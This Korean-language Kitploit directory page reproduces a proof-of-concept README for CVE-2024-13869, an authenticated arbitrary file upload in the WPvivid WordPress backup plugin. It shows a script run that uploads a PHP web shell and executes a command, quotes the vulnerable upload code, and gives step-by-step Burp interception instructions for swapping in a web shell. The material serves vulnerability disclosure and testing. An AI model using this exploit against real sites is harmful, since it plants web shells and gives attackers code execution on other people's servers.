Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-13869 — 마이그레이션, 백업, 스테이징 – WPvivid <= 0.9.112 - 인증된 (관리자+) 임의 파일 업로드 via wpvivid_upload_file | Kitploit
도구/GitHubGitHub/d0n601/cve-2024-13869
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubd0n601/cve-2024-13869

CVE-2024-13869

마이그레이션, 백업, 스테이징 – WPvivid <= 0.9.112 - 인증된 (관리자+) 임의 파일 업로드 via wpvivid_upload_file

저장소 보기
41년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-13869

Migration,Backup, Staging – WPvivid <= 0.9.112 - 인증된 (관리자 이상) 임의 파일 업로드 취약점 (wpvivid_upload_file)

wpvivid-backuprestore 플러그인은 wpvivid_upload_file 액션의 파일 형식을 검사하지 않아, 관리자 이상의 권한을 가진 사용자가 임의의 파일을 업로드하고 잠재적으로 서버에서 코드를 실행할 수 있습니다.

간략 요약 익스플로잇

  • hack.php라는 웹 셸을 업로드하는 관리자 시나리오를 보여주는 POC CVE-2024-13869.py가 제공됩니다.
root@kitploit:~
python3 ./CVE-2024-13869.py https://lab0.hacker admin PASSWORD   
Logging into: https://lab0.hacker/wp-admin
Extracting nonce values...
ajax_nonce: a993fb1986
Uploading web shell: hack.php
{"result":"success"}

Web Shell At: https://lab0.hacker/wp-content/wpvividbackups/hack.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 46962sec preferred_lft 46962sec
    inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86190sec preferred_lft 14190sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c7:fd:25 brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fec7:fd25/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:28:bd:99:83 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

세부 사항

wpvivid_upload_file 액션은 /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-backup-uploader.php의 293번째 줄에 있는 upload_files 함수를 호출하는 것으로 보입니다. 이 함수는 nonce와 사용자의 권한을 확인하지만, 서버에 업로드되는 파일 형식은 확인하지 않습니다.

root@kitploit:~
    function upload_files()
    {
        check_ajax_referer( 'wpvivid_ajax', 'nonce' );
        $check=current_user_can('manage_options');
        $check=apply_filters('wpvivid_ajax_check_security',$check);
        if(!$check)
        {
            die();
        }

        try
        {
            $chunk = isset($_REQUEST["chunk"]) ? intval(sanitize_key($_REQUEST["chunk"])) : 0;
            $chunks = isset($_REQUEST["chunks"]) ? intval(sanitize_key($_REQUEST["chunks"])) : 0;

            $fileName = isset($_REQUEST["name"]) ? sanitize_text_field($_REQUEST["name"]) : $_FILES["file"]["name"];

            $backupdir=WPvivid_Setting::get_backupdir();
            $filePath = WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$backupdir.DIRECTORY_SEPARATOR.$fileName;

            $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab");

            if ($out)
            {
                // Read binary input stream and append it to temp file
                $options['test_form'] =true;
                $options['action'] ='wpvivid_upload_files';
                $options['test_type'] = false;
                $options['ext'] = 'zip';
                $options['type'] = 'application/zip';

                add_filter('upload_dir', array($this, 'upload_dir'));

                $status = wp_handle_upload($_FILES['async-upload'],$options);

                remove_filter('upload_dir', array($this, 'upload_dir'));

                $in = @fopen($status['file'], "rb");

                if ($in)
                {
                    while ($buff = fread($in, 4096))
                        fwrite($out, $buff);
                }
                else
                {
                    echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open tmp file.path:".$status['file']));
                    die();
                }

                @fclose($in);
                @fclose($out);

                @wp_delete_file($status['file']);
            }
            else
            {
                echo wp_json_encode(array('result'=>'failed','error'=>"Failed to open input stream.path:{$filePath}.part"));
                die();
            }

            if (!$chunks || $chunk == $chunks - 1)
            {
                // Strip the temp .part suffix off
                rename("{$filePath}.part", $filePath);
            }

            echo wp_json_encode(array('result' => WPVIVID_SUCCESS));
        }
        catch (Exception $error)
        {
            $message = 'An exception has occurred. class: '.get_class($error).';msg: '.$error->getMessage().';code: '.$error->getCode().';line: '.$error->getLine().';in_file: '.$error->getFile().';';
            error_log($message);
            echo wp_json_encode(array('result'=>'failed','error'=>$message));
        }
        die();
    }

수동 재현 방법

  1. 관리자 패널에 로그인하고 WPvivid Backup 탭으로 이동합니다.
  2. Backup & Restore 아래에서 Backup Now 버튼을 클릭하여 새 백업을 생성하고 다운로드합니다. 이후 단계에서 .zip 파일을 사용할 수 있습니다.
  3. 다시 Backup & Restore 섹션 아래에서 Upload 탭으로 이동하여 방금 생성한 .zip 파일을 선택합니다. pre_upload
  4. Burp Suite 또는 유사한 도구를 실행하고 트래픽 가로채기를 시작합니다.
  5. Upload를 클릭하고 /wp-admin/admin-ajax.php로 전송되는 POST 요청을 가로채어 wpvivid_upload_files 액션이 호출되도록 합니다. intercept_call
  6. 요청을 수정하여 임의의 파일을 포함시킵니다. 아래 예제에서는 PHP 웹 셸을 업로드하고 있습니다. modify
도구 다운로드
  • 요청을 전송하면 {"result":"success"} 응답을 받습니다. sent_modified
  • 웹 셸 주소 https://example.com/wp-content/wpvividbackups/webshell.php로 이동하여 코드를 실행합니다. hitshell